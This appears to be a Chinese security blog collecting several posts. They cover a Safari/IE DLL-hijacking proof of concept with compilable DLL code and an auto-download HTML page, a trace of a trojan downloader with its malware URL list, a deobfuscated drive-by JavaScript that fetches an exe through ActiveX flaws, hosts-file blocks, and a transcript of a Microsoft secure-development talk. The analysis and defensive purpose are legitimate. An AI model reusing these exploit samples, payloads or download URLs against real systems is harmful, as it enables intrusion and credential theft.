Safari for windows默认配置+ie浏览器——>木马作者的天堂

Nitesh Dhanjani 发现的这个(windows版的safari浏览器在不经用户确认的情况下把文件下载到用户桌面)漏洞。标题为”Safari Carpet Bomb”的介绍可以在Nitesh Dhanjani博客看到,接着微软就发出一份(标题为:Blended Threat from Combined Attack Using Apple’s Safari on the Windows Platform)“安全公告”。Aviv Raff在他的博客发表“Safari pwns Internet Explorer”澄清这个(MS)漏洞早在2006年就已经报告过。

关于这个混合Safari和IE漏洞攻击的分析

这个IE老的漏洞Aviv Raff在他的两篇博客中已经做过比较详细的描述”Internet Explorer 7 – Still Spyware Writers Heaven“,和”IE7 DLL-load hijacking Code Execution Exploit PoC” 漏洞演示代码可以在”milw0rm”找到。

这个漏洞主要出在:ie(Windows Internet Explorer)优先从“用户桌面”加载动态链接库文件(dll),而不是从程序目录(一般是:C:\WINDOWS\SYSTEM32)。

windows版的safari浏览器在没有得到确认的情况下自动下载文件到用户桌面是这次引发windows用户遭受攻击的前因。当动态链接库文件(DLL文件)为特定的名称时打开ie将从这里(用户桌面)加载这些动态链接库文件。两件事情混合起来就是:IE加载运行safari自动下载到用户桌面的动态链接库文件,最终导致用户遭受恶意攻击。

作为演示下边为LIUDIEYU写的演示代码(ie加载后调用记事本打开一个不存在的文件)

另外Aviv Raff也写过个演示代码可以在”milw0rm”找到。

(PS:其实你可以写个木马后门dll扔出去让他运行!!)

/*
        Copyright (C) 2006-2007 Aviv Raff
        http://aviv.raffon.net
        Greetz: hdm, L.M.H, str0ke, SkyLined

        Compile and upload to the victim's desktop as one of the following hidden DLL files:
        - sqmapi.dll
        - imageres.dll
        - schannel.dll

        Run IE7 and watch the nice calculators pop up.
        Filter fdwReason to execute only once.

        Tested on WinXP SP2 with fully patched IE7.
        For testing/educational purpose only!

*/

#include <windows.h>

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL,
  DWORD fdwReason,
  LPVOID lpvReserved
)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    TCHAR windir[_MAX_PATH];
    TCHAR cmd[ _MAX_PATH ];
    GetEnvironmentVariable("WINDIR",windir,_MAX_PATH );
    wsprintf(cmd,"%s\\system32\\calc.exe",windir);
    ZeroMemory(&si,sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(π,sizeof(pi));
    CreateProcess(NULL,cmd,NULL,NULL,FALSE,0,NULL,NULL,&si,π);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return TRUE;
}

// milw0rm.com [2006-12-14]

———-dll.c———-
#include <windows.h>

BOOL APIENTRY DllMain(
HINSTANCE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved
)
{
STARTUPINFO si;
PROCESS_INFORMATION pi;

ZeroMemory(&si,sizeof(si));
si.cb = sizeof(si);
ZeroMemory(π,sizeof(pi));

CreateProcess(NULL,”NOTEPAD \”=====(((((we are in)))))=====\””,NULL,NULL,FALSE,0,NULL,NULL,&si,π);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return TRUE;
}

你可以编译这个库文件并命名为”schannel.dll”,“sqmapi.dll”或“imageres.dll”就可以利用啦。

———-index.html———-
<html><head>
<title>Test safari downloads automatically</title>
</head><body>
只要使用Safari打开这个页面,同时schannel.dll将自动下载到用户桌面<br>
<iframe src=”schannel.dll” width=1 height=1></iframe><br>

打开ie,将会看到效果(ie远程调用记事本打开一个不存在的文件)

<i>这就是结果.</i><br>
<br>
这个测试只能使用一次<br>
</body></html>

PS:个人认为这个组合漏洞攻击应该算是小概率事件,比如使用safari的用户很少情况会切换到ie,还有如果恶意攻击者,把文件显眼的下到用户桌面(对于这么明显的可疑文件很容易被删除的,如果隐藏怎么办呢?!)。不论怎样这是个潜在的危险(如果下次不是Safari呢?)。

PS2:这是不是也提醒程序员同学们写代码时要考虑自己的库文件搜索路径问题了,当前目录最多的情况应该是桌面啦,当然这涉及到windows内核(..)的问题(加载动态链接库的时候搜索路径的顺序——当前目录,程序目录,系统目录,谁先谁后?)

相关地址:

http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html

http://www.microsoft.com/technet/security/advisory/953818.mspx

http://liudieyu0.blog124.fc2.com/blog-entry-1.html

http://www.dhanjani.com/archives/2008/05/safari_carpet_bomb.html

http://aviv.raffon.net/2008/05/31/SafariPwnsInternetExplorer.aspx

http://aviv.raffon.net/2006/12/14/IE7DLLloadHijackingCodeExecutionExploitPoC.aspx

http://aviv.raffon.net/2006/11/01/InternetExplorer7StillSpywareWritersHeaven.aspx

http://milw0rm.org/exploits/2929

演示地址:http://liudieyu.com/iesafari200806.2885391780966027/

explorer.exe下载者病毒行为跟踪

得到样本,打开虚拟机,先到http://www.virustotal.com/分析一下情况:

文件 explorer.exe 接收于 2008.05.29 16:26:52 (CET)
反病毒引擎 版本 最后更新 扫描结果</td
AhnLab-V3 2008.5.29.0 2008.05.29 -</td
AntiVir 7.8.0.19 2008.05.29 TR/Downloader.Gen</td
Authentium 5.1.0.4 2008.05.28 W32/Agent.L.gen!Eldorado</td
Avast 4.8.1195.0 2008.05.29 Win32:Agent-XEY</td
AVG 7.5.0.516 2008.05.29 KillAV.JR</td
BitDefender 7.2 2008.05.29 Generic.Malware.Bdld.2B3CEAD5</td
CAT-QuickHeal 9.50 2008.05.28 TrojanDownloader.Zlob.ww</td
ClamAV 0.92.1 2008.05.29 PUA.Packed.UPack-2</td
DrWeb 4.44.0.09170 2008.05.29 DLOADER.Trojan</td
eSafe 7.0.15.0 2008.05.29 Suspicious File</td
eTrust-Vet 31.4.5832 2008.05.29 Win32/Vraja.A</td
Ewido 4.0 2008.05.29 -</td
F-Prot 4.4.4.56 2008.05.28 W32/Agent.L.gen!Eldorado</td
F-Secure 6.70.13260.0 2008.05.29 W32/Suspicious_U.gen</td
Fortinet 3.14.0.0 2008.05.29 -</td
GData 2.0.7306.1023 2008.05.29 Trojan.Win32.Agent.ksq</td
Ikarus T3.1.1.26.0 2008.05.29 Trojan-Downloader.Win32.Zlob.and</td
Kaspersky 7.0.0.125 2008.05.29 Trojan.Win32.Agent.ksq</td
McAfee 5305 2008.05.28 New Malware.aj</td
Microsoft None 2008.05.29 -</td
NOD32v2 3144 2008.05.29 -</td
Norman 5.80.02 2008.05.28 W32/Smalldrp.VJT</td
Panda 9.0.0.4 2008.05.28 Suspicious file</td
Prevx1 V2 2008.05.29 -</td
Rising 20.46.32.00 2008.05.29 Trojan.DL.Win32.Undef.mz</td
Sophos 4.29.0 2008.05.29 Mal/Heuri-E</td
Sunbelt 3.0.1123.1 2008.05.17 VIPRE.Suspicious</td
Symantec 10 2008.05.29 -</td
TheHacker 6.2.92.322 2008.05.28 W32/Behav-Heuristic-060</td
VBA32 3.12.6.6 2008.05.29 Trojan.Win32.Agent.ksq</td
VirusBuster 4.3.26:9 2008.05.28 Packed/Upack</td
Webwasher-Gateway 6.6.2 2008.05.29 Trojan.Downloader.Gen</td
附加信息
File size: 10920 bytes
MD5…: adf37694614161a5c513069f6a4353a0
SHA1..: d8c88000dbbd4d09487afa8e82a0af1be35e6fba
SHA256: f798ccb117c4751b52b3745020a3856a204e6e44d3af6e04606cbdcc21cd5d18
SHA512: 945496614f4d3a408aaf5950e952b49424866c948fa088b2f6a427b1d0467ad3
c1ed82c73f500cdf7f53c7870ed8a34c70042c96f4f8595b60c9014dd3a87cc2
PEiD..: –
PEInfo: PE Structure information

( base data )
entrypointaddress.: 0x401018
timedatestamp…..: 0x4011b0be (Fri Jan 23 23:39:42 2004)
machinetype…….: 0x14c (I386)

( 3 sections )
name viradd virsiz rawdsiz ntrpy md5
PS 0x1000 0x15000 0x1f0 5.16 a035efb8d8b8853a55e11efef94607b6
@A 0x16000 0xa000 0x28a8 7.98 2904fb87f598070c35d60ee3179aaebb
RA@ 0x20000 0x1000 0x1f0 5.16 a035efb8d8b8853a55e11efef94607b6

( 0 imports )

( 0 exports )

packers (Authentium): UPack
packers (Kaspersky): PE_Patch, UPack
packers (F-Prot): UPack

分析报告只是为我们进一步分析提供个参照或者说心理准备!
下面开始追踪这个“下载者引擎”(各大杀毒厂商对这个explorer.exe的定义各有不同,个人认为叫做下载者和病毒引擎比较合适)的行为。

工具:
Tiny Personal Firewall 2005(跟踪程序各种行为)

WSockExpert.exe(对网络请求进行抓包)

。。
首先安装Tiny Personal Firewall 2005,然后打开WSockExpert.exe并设置为trust(信任程序,免得把他的行为扑捉到),然后执行你的病毒样本,一步步的按照提示进行分析,因为要了解这个程序的行为所以可以选择”run with default security”,看到allow最好选择allow(ps:如果你已经了解这个程序的行为,可以根据自己需要进行allow和deny),总的来说这个explorer.exe运行后,先启动两个cmd.exe程序然后扫描局域网的主机,找机会传播病毒体,扫一定数量主机或者cmd.exe没有正常执行的话就开始连接http://sds.687230xsds.cn/pao.txt获取木马列表(PS:很恐怖,一串的游戏盗号木马),然后使用cmd和conime.exe进行游戏盗号木马的下载活动,每下载一个就会运行然后删除,下载的目录是system32下(多以数字命名),由于后边下载的活动都很雷同,我就直接deny掉cmd.exe和conime.exe的行为,这样就挨个下载完那些游戏木马了(为啦省事后边的游戏木马也是deny的)。如果想更深入详细的了解这个东东都做啦什么以及为什么这么做,就去看反汇编吧。可以到看雪那里找找工具。pediy

总结:
1:这个explorer.exe的老窝(explorer.exe会到http://sds.687230xsds.cn/pao.txt寻找游戏盗号木马列表)是sds.687230xsds.cn现在对应的ip是218.61.17.135
2:游戏盗号木马的地址是ts.6323fds.cn现在对应的ip是218.61.17.135(PS:游戏盗号木马列表会在截图后面补充)

解决建议:
1:如果你是局域网的,可以直接在路由器里过滤这个ip就可以“暂时”解决这个困扰啦。
2:这个木马貌似伴随着flash.exe的漏洞来的(现在还不确定怎么传播的),所以建议及时用上Adobe Flash Player 9.0.124。
FLASH插件更新地址:http://www.adobe.com/shockwave/download/flash/trigger/en/1/index.html
利用flash控件漏洞的实例展示,见:http://bbs.duba.net/thread-21930883-1-1.html
也可以禁用这个插件。 IE浏览器中禁用flash插件的方法:internet选项——>程序——>管理加载项——找到“shockwave flash object”——设置禁用即可(可以参考插图)。
firefox浏览器可以用adblock plus插件将swf文件全部拦截
3:给系统打上全补丁
4:使用360顽固木马大全先杀下,然后用360更新过病毒库后查杀,一般就干净啦
5:值得庆幸的是这个还不会感染exe类可执行文件,不过还原系统后还是最好全盘查下之毒

行为分析:
感染现象,并不是说explorer.exe有这么大能耐,只是中山他后,将会有一堆光顾你的电脑。在会局域网中不停扫描主机,下载游戏盗号木马(是循环的呢,下完一圈还会再来一圈!),连带第三代机器狗病毒木马攻破还原系统(重启后不会被还原没有),arp攻击,dns欺骗。
下边是追踪过程中的截图(有些是后来补上的!!)

http://sds.687230xsds.cn/pao.txt

2008-5-27=http://ts.6323fds.cn/wow.exe
2008-5-27=http://ts.6323fds.cn/mh.exe
2008-5-27=http://ts.6323fds.cn/jh.exe
2008-5-27=http://ts.6323fds.cn/qst.exe
2008-5-27=http://ts.6323fds.cn/qj.exe
2008-5-27=http://ts.6323fds.cn/my.exe
2008-5-27=http://ts.6323fds.cn/zx.exe
2008-5-27=http://ts.6323fds.cn/wd.exe
2008-5-27=http://ts.6323fds.cn/wl.exe
2008-5-27=http://ts.6323fds.cn/dh.exe
2008-5-27=http://ts.6323fds.cn/dh3.exe
2008-5-27=http://ts.6323fds.cn/dj.exe
2008-5-27=http://ts.6323fds.cn/tl.exe
2008-5-27=http://ts.6323fds.cn/zt.exe
2008-5-27=http://ts.6323fds.cn/hx.exe
2008-5-27=http://ts.6323fds.cn/qqhx.exe
2008-5-27=http://ts.6323fds.cn/qqhux.exe
2008-5-27=http://ts.6323fds.cn/zyhx.exe
2008-5-27=http://ts.6323fds.cn/mir.exe
2008-5-27=http://ts.6323fds.cn/mir2.exe
2008-5-27=http://ts.6323fds.cn/fh.exe
2008-5-27=http://ts.6323fds.cn/sq.exe
2008-5-27=http://ts.6323fds.cn/sh.exe
2008-5-27=http://ts.6323fds.cn/wmgj.exe
2008-5-27=http://ts.6323fds.cn/wmsj.exe
2008-5-27=http://ts.6323fds.cn/sg.exe
2008-5-27=http://ts.6323fds.cn/fy.exe
2008-5-27=http://ts.6323fds.cn/jz.exe
2008-5-27=http://ts.6323fds.cn/zy.exe
2008-5-27=http://ts.6323fds.cn/cb.exe
2008-5-27=http://ts.6323fds.cn/sq.exe
2008-5-27=http://ts.6323fds.cn/ar.exe
2008-5-27=http://ts.6323fds.cn/yt2.exe
2008-5-27=http://ts.6323fds.cn/jxqy.exe
2008-5-27=http://ts.6323fds.cn/chd.exe
2008-5-27=http://ts.6323fds.cn/mxd.exe
2008-5-27=http://ts.6323fds.cn/pt.exe
2008-5-27=http://ts.6323fds.cn/jtdd.exe
2008-5-27=http://ts.6323fds.cn/jr.exe
2008-5-27=http://ts.6323fds.cn/wl2.exe
2008-5-27=http://ts.6323fds.cn/qn3.exe
2008-5-27=http://ts.6323fds.cn/fs2.exe
2008-5-27=http://ts.6323fds.cn/tm1.exe
2008-5-27=http://ts.6323fds.cn/tm2.exe
2008-5-27=http://ts.6323fds.cn/tm3.exe
2008-5-27=http://ts.6323fds.cn/tm4.exe
2008-5-27=http://ts.6323fds.cn/tm5.exe
2008-5-27=http://ts.6323fds.cn/tm6.exe
2008-5-27=http://ts.6323fds.cn/xw.exe
2008-5-27=http://ts.6323fds.cn/wl2.exe
2008-5-27=http://ts.6323fds.cn/r2.exe

最新消息:
Adobe最近发布的Flash Player .0.124 0.0版本也发现新的漏洞,该漏洞同样会引起严重后果。
新闻链接:
http://soft.yesky.com/securityw/aqzxx/359/8140859.shtml
http://www.securityfocus.com/bid/29386

『u.asdafdgfgf.com/ads.js分析,临时解决办法』百度怎么啦,还是我怎么啦,还是…

不清楚是不是百度出问题啦,总之打开其他网页都是正常的现在,就是百度打开显示不了,要刷新(重试)几遍才会出来,再刷新就又没啦,不知道是不是我的机子有问题(现在没发现可疑情况啊!)还是我处的网络有问题(至少局域网中现在就我一人在线!)!

为啦方便我就直接把图片这样插入啦,需要的话就点开看吧,不需要就直接下文。

假象就是假象,qq使用的最多,现在局域网中也并不是我一人在线,因为在此查看攻击记录最后一次攻击的时间是23:55而我访问百度的时间也大概是这个时间,现在是当前时间:  0:08:43.92 。可惜他不能利用我的漏洞。

下边看看这个漏洞利用js代码:

eval(function(p,a,c,k,e,d){while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+c+’\\b’,’g’),k[c])}}return p}(’18(7.41.57(\’43\’)==-1){23{8 38;8 39=(7.56(“10”));39.55(“54″,”58:53-59-64-63-62”);8 61=39.65(“49.46″,””)}20(38){};27{8 32=22 44();32.45(32.52()+24*60*60*51);7.41=\’43=50;47=/;32=\’+32.48();7.14(“<16 25=9://11.12.13/6.26><\\/16>”);18(38!=”[10 15]”){7.14(“<16 25=9://11.12.13/1.26><\\/16>”)}82{23{8 36;8 81=22 30(“80.79″)}20(36){};27{18(36!=”[10 15]”){7.14(“<16 25=9://11.12.13/2.26><\\/16>”);7.14(“<17 21=\\”28: 31(\’9://11.12.13/19.29\’)\\”></17>”)}}23{8 37;8 83=22 30(“84.85.1″)}20(37){};27{18(37!=”[10 15]”){7.14(“<16 25=9://11.12.13/3.26><\\/16>”);7.14(“<17 21=\\”28: 31(\’9://11.12.13/19.29\’)\\”></17>”)}}23{8 35;8 77=22 30(“78.70″)}20(35){};27{18(35!=”[10 15]”){7.14(“<16 25=9://11.12.13/4.26><\\/16>”);7.14(“<17 21=\\”28: 31(\’9://11.12.13/19.29\’)\\”></17>”)}}23{8 33;8 66=22 30(“69.68.1″)}20(33){};27{18(33!=”[10 15]”){7.14(“<42 21=67:71 25=9://11.12.13/5.26></42>”)}}23{8 34;8 40=22 30(“72.76″)}20(34){};27{18(34!=”[10 15]”){40.75(“9://11.12.13/19/19.74″,”19.73”,0);7.14(“<17 21=\\”28: 31(\’9://11.12.13/19.29\’)\\”></17>”)}}18(36==”[10 15]”&&37==”[10 15]”&&35==”[10 15]”&&33==”[10 15]”&&34==”[10 15]”){7.14(“<17 21=\\”28: 31(\’9://11.12.13/19.29\’)\\”></17>”)}}}}’,10,86,’|||||||document|var|http|object|k|222360|com|write|Error|script|DIV|if|ads|catch|style|new|try||src|gif|finally|CURSOR|c|ActiveXObject|url|expires|i|j|h|f|g|e|ado|obj|cookie|iframe|OKSUN|Date|setTime|Stream|path|toGMTString|Adodb|SUN|1000|getTime|BD96C556|classid|setAttribute|createElement|indexOf|clsid|65A3||as|00C04FC29E36|983A|11D0|createobject|yahoo|display|GLChatCtrl|GLCHAT|Vod|none|BaiduBar|exe|cab|DloadDS|Tool|thunder|DPClient|StormPlayer|MPS|storm|else|pps|POWERPLAYER|PowerPlayerCtrl’.split(‘|’)))

这个一句太长啦哈,“加密”的很好厄,把eval替换为document.write偶只能看到一部分解密的代码:

// –>

// –>if(document.cookie.indexOf(‘OKSUN’)==-1){try{var e;var

ado=(document.createElement(“object”));

ado.setAttribute(“classid”,”clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″);var

as=ado.createobject(“Adodb.Stream”,””)}catch(e){};finally{var expires=new

Date();expires.setTime(expires.getTime()+24*60*60*1000);

document.cookie=’OKSUN=SUN;path=/;expires=’+expires.toGMTString();document.write(”

很好很强大的代码!利用的漏洞多为第三方程序(聊天工具,工具条,下载工具,多媒体播放程序)漏洞:

|yahoo|display|GLChatCtrl|GLCHAT|Vod|none|BaiduBar|exe|cab|DloadDS|Tool|thunder|DPClien

t|StormPlayer|MPS|storm|else|pps|POWERPLAYER|PowerPlayerCtrl’

下载地址应该在|k|222360|com这里,所以host过滤的时候也不要忘记搞掉这个k.222360.com下载的文件不光是exe文件还有cab类型的插件。所以建议开启杀软的实时监控或者开启网页漏洞利用功能(比如卡卡和360的网页防漏功能,还是微点好用呢!!)最好把这个域名加入“受限制站点”然后设定安全级别为高。

目前没有病毒样本(因为不是我中病毒啦),没有虚拟机也不好去让他中上搞到个样本!!似乎这个漏洞利用代码还没有完成的很好,因为只看到利用百度工具条(百度超级搜霸5.4(Version of “BaiduBar.dll” is 2.0.2.144))的漏洞,

其他的三个,暴风影音,PPS,迅雷,雅虎通的漏洞利用代码都去掉啦,只是输出document.write(“”),

也就是除啦利用百度搜霸的外其他的漏洞都没作用?。

http://k.222360.com/ads/ads.cab病毒文件,下载后的名字是ads.exe?

具体临时解决办法:

host过滤吧

127.0.0.1       asdafdgfgf.com

127.0.0.1       222360.com

127.0.0.1       u.asdafdgfgf.com/ads.js

127.0.0.1       k.222360.com

127.0.0.1       k.222360.com/ads/ads.cab

还有不放心的话可以把这个域名加进受限网址,和360的黑名单网站,来做进一步过滤。

释然,不是百度出问题啦,而是偶所在网络出问题啦,至少他现在拦截百度的页面拦截QQ相关的页面,

拦截木屑游戏(天龙八部的公告,问道的公告)的页面,其他的还没发现。

另外这个挂马代码也不是什么新东西啦,只是被“加密(使用正则表达式)”后拿出来罢啦,挂马代码:

function init(){document.write();} window.onload = init; if(document.cookie.indexOf(‘OK’)==-1){ try{var e; var ado=(document.createElement(“object”)); ado.setAttribute(“classid”,”clsid:BD96C556-65A3-11D0-983A-00C04FC29E36″); var as=ado.createobject(“Adodb.Stream”,””)} catch(e){}; finally{ var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie=’ce=windowsxp;path=/;expires=’+expires.toGMTString(); if(e!=”[object Error]”){ document.write(“<script src=http:\/\/aXXa.18XXdXXd.net\/aa\/1.js><\/script>”)} else{ try{var f;var storm=new ActiveXObject(“MPS.StormPlayer”);} catch(f){}; finally{if(f!=”[object Error]”){ document.write(“<script src=http://xxxxxxxxxx/2.js><\/script>”)}} try{var g;var pps=new ActiveXObject(“POWERPLAYER.PowerPlayerCtrl.1″);} catch(g){}; finally{if(g!=”[object Error]”){ document.write(“<script src=http:/:xxxxxxxxxx/3.js><\/script>”)}} try{var h;var obj=new ActiveXObject(“BaiduBar.Tool”);} catch(h){}; finally{if(h!=”[object Error]”){ obj.DloadDS(“http:/:xxxxxxxxxx/xx.exe”, “bd.exe”, 0)}} }}}

这个通用的,exp的的js调用就不同啦。

Registration Service Provided By: eNom, Inc.
Contact: etpreseller@gmail.com
Visit: www.enom.com

Domain name: asdafdgfgf.com

Registrant Contact:
Zhang san
Zhang San (net1363@126.com)
+86.7505588888
Fax: +86.7505580000
Fujian province,Xiamen City
Xiamen, Hongkong 100000
CN

Administrative Contact:
Zhang san
Zhang San (net1363@126.com)
+86.7505588888
Fax: +86.7505580000
Fujian province,Xiamen City
Xiamen, Hongkong 100000
CN

Technical Contact:
Zhang san
Zhang San (net1363@126.com)
+86.7505588888
Fax: +86.7505580000
Fujian province,Xiamen City
Xiamen, Hongkong 100000
CN

Status: Locked

Name Servers:
dns1.name-services.com
dns2.name-services.com
dns3.name-services.com
dns4.name-services.com
dns5.name-services.com

Creation date: 15 Dec 2007 17:44:40
Expiration date: 15 Dec 2008 17:44:40

说的很乱,主要就是从发现——>解密代码——>分析代码——>临时解决办法——>查看这个挂马代码的本来面目这样一个过程。

看到技术文章很稀奇——微软禇诚云:软件安全漏洞与软件开发

可以说这应该是微软从软件代码和设计角度来侧击“vista”更安全,似乎安全应该是相对来说的吧(ps:卡吧还在呼吁xp比vista更安全呢),其中提到一个SDL开发概念:

SDL开发概念,安全软件开发专门针对产品安全性,它有几个原则:安全的设计、安全的开发、安全的部署。也就是在产品真正部署配置上怎么来处理。在设计阶段和需求阶段中,需求阶段引入安全功能上的需求,设计上提高安全设计风险分析,对程序攻击界面一个评估,编码就是安全编码实践和提供很多安全开发工具,测试提供是专门要进行安全测试,每个组都要提供尤其是安全方面的测试报告,最后发布,你这个组响应过程,如果出现漏洞,你是怎么响应,有没有专人处理漏洞。最后就是一个维护。

微软安全响应中心的禇诚云分享了他在软件安全漏洞与软件开发上的研究成果。

以下为褚诚云讲演实录:

褚诚云:大家好!我叫褚诚云,来自微软公司。我这个讲座可能跟其他人的讲座都有一点不一样,我是从产品开发的角度和大家分析安全漏洞。我希望利用这个机会可以和大家分享一些在软件开发过程中如何避免安全漏洞的经验。我先自我简单介绍一下,SWI称为Secure Windows Initiative,我们这个组处理微软产品的安全问题。我们这个组严格意义上隶属于MSRC的一部分。 ChrisW是我们一个资深的架构师。

现在我们转到正题。很多人说微软是不是真正了解安全,为什么这么说呢?微软的安全漏洞问题层出不穷。如果真正懂得安全,为什么产品还有这么多安全漏洞呢?

今天讲的核心问题:第一,什么是安全漏洞。第二,为什么代码中存在安全漏洞。第三,我们想探讨一下对每一个安全漏洞,我们做了什么。微软发现安全漏洞后,怎么处理它?我们是怎么在开发实践中去提高我们实践开发的指导过程,这样可以避免同样错误不要犯两次。

为什么你需要了解这些东西?现在安全漏洞不是微软一个的问题,就像腾讯总裁所说现在软件安全是整个产业的问题。比如微软收到很多不安全的反映。实际上攻击本身不是针对微软系统本身,而是上面运行的应用。我们希望通过和所有厂商共同努力,提高整个产业环境安全水准。例如,百度工具条就有安全漏洞、暴风有控件安全漏洞、迅雷也发现有很多安全漏洞、google输入法的安全漏洞,还有QQ。

下面我跟大家讨论一下五个我们组经过非常艰苦的努力,可以和大家分享的5个06、05年的安全漏洞。可以给大家公开讨论导致安全漏洞的源代码,在后面我要跟大家谈谈微软开发周期,怎么指导开发行为,这样可以降低安全漏洞的数目。最后提一下微软关于安全响应流程的部分。

什么是安全漏洞?我们定义是代码或设计缺陷,导致系统可以被恶意攻击。我想特别强调一点,实际上很多安全漏洞是一个设计上的问题。设计上没有考虑这个功能在安全上给大家带来什么样的影响,这与设计人员本身素质有关系。我们看看安全漏洞主要类型:远程代码攻击最受大家关注。但是权限提升、拒绝访问、信息泄露的比例也是非常高的。

第一个,MS03-026漏洞。这个安全漏洞大家非常熟悉了。它的问题就在于一个字母串越界的问题,就是这一行代码错误,损失非常巨大。我们得到的经验:GS编译选项,静态代码检查工具。例如在VS2005,有一个选项是可以做代码的静态分析,尤其是溢出错误,可以帮助你检查。

缓冲溢出已经谈了很久了,为什么微软还有这么多安全漏洞?问题就是说安全漏洞本身和缓存溢出不相等。很多安全漏洞其实完全不是由缓存溢出构成的。这两个是不等价的。下面说的五个安全漏洞只有一个是缓存溢出。即使这一个缓存溢出也不是那么容易看出来的。

第一个安全漏洞,06-001 WMF。这个安全漏洞很严重。当时在圣诞节,我记得我是在赴宴途中被传呼。一个圣诞节,几百人都没有过好。WMF大家都已经很熟悉,他是Windows支持的一种图像文件。简单说就是大家访问这个文件,收到这个电子邮件,只需要预览就会被感染。可能直接导致大规模蠕虫爆发,所以当时大家非常紧张。这是源代码(图),你觉得这个代码需要特别注意什么地方?我其实首先看到是 win.3.1这段注释,写这段代码的时候没有考虑到安全问题,当我们读到类似这种注释的时候,我们脑子里开始紧张。我们看看它具体出了什么问题,这个是一个函数指针,这是函数指针的调用,这是执行(图),关键是在这里,当我开始处理WMF文件的时候,当收到特殊字符的时候就对它进行解析处理,把 Abort方式设置好,最后开始执行。整个过程没有缓存溢出漏洞。你需要一个函数可以终止打印操作,这在Windows3.1是很正常的操作,而现在造成这么严重的安全漏洞,这就是设计上的缺陷。有时候设计的缺陷比代码缺陷更难发现。一个设计上的问题导致安全漏洞非常严重。在构造这个文件的时候,提供一个老的无用功能,结果导致一个严重的漏洞。我们把NetDDE、IPX/SPX、NETWare这些全从VISTA中删除了。我们尽可能把那些不需要用的以前的老代码统统删除,因为老代码编写过程中往往没有考虑到安全需求。即使删除不了的,我们在缺省情况也要禁用,只有用户特别有这个需求,需要他自己主动把禁用这个功能开通。而且必须加以辅助测试和fuzzing,仅仅依赖人眼查看代码是不够的。

第二个安全漏洞,06-013 IE create textrange,问题就是我访问一个网页,机器就中招了。这个安全漏洞和缓存溢出完全没有关系。有没有人能发现问题?它的错误就在goto Cleanup这个地方。hr初始赋值S-OK。为什么这是安全漏洞?首先调用pvarresult就是一个函数指针,下面检查hr=s-ok,这是一个标准的com调用。我会调用到未初始化内存。4、5年前微软如果收到这个安全漏洞,他可能认为这不是一个安全漏洞,而只是一个程序崩溃。结果现在有了 heap spray攻击,可能10次有9次能达到成功攻击。静态工具专门要提高对未初始化内存访问,使用SAL确保函数返回时的错误检查。

第三个安全漏洞,05-047 plug-n-play。首先他是直接读到一个注册表key,然后拷贝到堆栈上的变量,大家初看这是非常危险的。但是我们仔细一看,发现从本地注册表读这个key,内容是攻击者无法控制的。这个key本身最多只有255字节,而且内容只有 admin才能控制。堆栈的变量大小是360字节,怎么会导致字符串溢出?我们当时也一下看不出有缓存溢出问题。它的攻击就是通过这样去攻击,虽然Key 在注册表也是有效,但是后来加了这样一堆东西,会自动被过滤掉,结果拷贝就会溢出的。这是一个非常有意思的缓存溢出漏洞。得到经验是禁用危险的APIs,以前有这样的反对意见,只要我知道我在做什么,即使用危险的API也没有什么问题。这个例子就看出,在有些情况下即使你以为你知道你在干什么,但是还会发生你并没有想到的后果。所以我们彻底把危险的API从VISTA完全取消掉。

第四个漏洞,06-013 IE。当你访问一个文件类型属于不安全类型,我们通知你下载而不是直接执行。这就是代码(图),看上去完全没有什么问题。到底它出了什么问题?我们仔细看这个变量,它可以被多个线程同时访问,可能会导致跳过安全对话框。这个漏洞也和缓存溢出没有关系。我们得到一个经验:多线程环境下测试、代码复查时的安全意识。例子:微软对安全方面的标准,包括攻击界面分析、常见安全漏洞类型、针对威胁的缓解手段、针对安全缺陷来复查代码。我们这个组本身不可能去复查所有微软代码,要依靠各个产品组自身复查代码,但是你复查代码,你需要知道你去找什么样的错误。如果不知道要去找什么的话,即使你看半天也发现不出来什么。

第五个漏洞,06-018 MSDTC。这个实际上是自定义的内存分配。这里有一个宏,我看到这个代码是比较头疼的。微软针对这个安全漏洞补丁,发现了两次公告,第一次公告没有发布对,只好发第二次安全补丁。微软得到经验:对内存分配器加注SAL。在Windows VISTA删除大多数的定制在内存分配器,除非有特别考虑,一般是不允许的。另外,在汇编代码一级经验证补丁,这样可以避免补丁发布的错误。

安全漏洞分析小结:分析安全漏洞产生的根本原因,在已经实施现有的流程后,为什么还有安全漏洞?我已经规定你产品组需要做的安全流程,结果还有安全漏洞,这可能有两个原因,第一,我说要做的事你没有做,这是管理上的问题。第二,你确实做了我要做的东西,但是还是避免不了安全漏洞。那就是流程或工具的问题。提供建议来完善现有工具和开发新的工具,同安全软件开发集成,并提供反馈。减少以后的安全漏洞。

于是我们提出SDL开发概念,安全软件开发专门针对产品安全性,它有几个原则:安全的设计、安全的开发、安全的部署。也就是在产品真正部署配置上怎么来处理。在设计阶段和需求阶段中,需求阶段引入安全功能上的需求,设计上提高安全设计风险分析,对程序攻击界面一个评估,编码就是安全编码实践和提供很多安全开发工具,测试提供是专门要进行安全测试,每个组都要提供尤其是安全方面的测试报告,最后发布,你这个组响应过程,如果出现漏洞,你是怎么响应,有没有专人处理漏洞。最后就是一个维护。这是具体流程(图),这里不跟大家仔细说了。如果产品暴露出严重的安全问题,即使下个月要发布这个产品,我们就有这个权力让你不能发布。微软认为安全这个问题不能忽视。

这是SDL效果(图),通过SDL可以在很大程度上降低安全漏洞。这是XP避免安全漏洞。VISTA安全漏洞的数目下降了,像这种统计数据可以证明SDL在实践中可以降低安全漏洞爆发的数目。

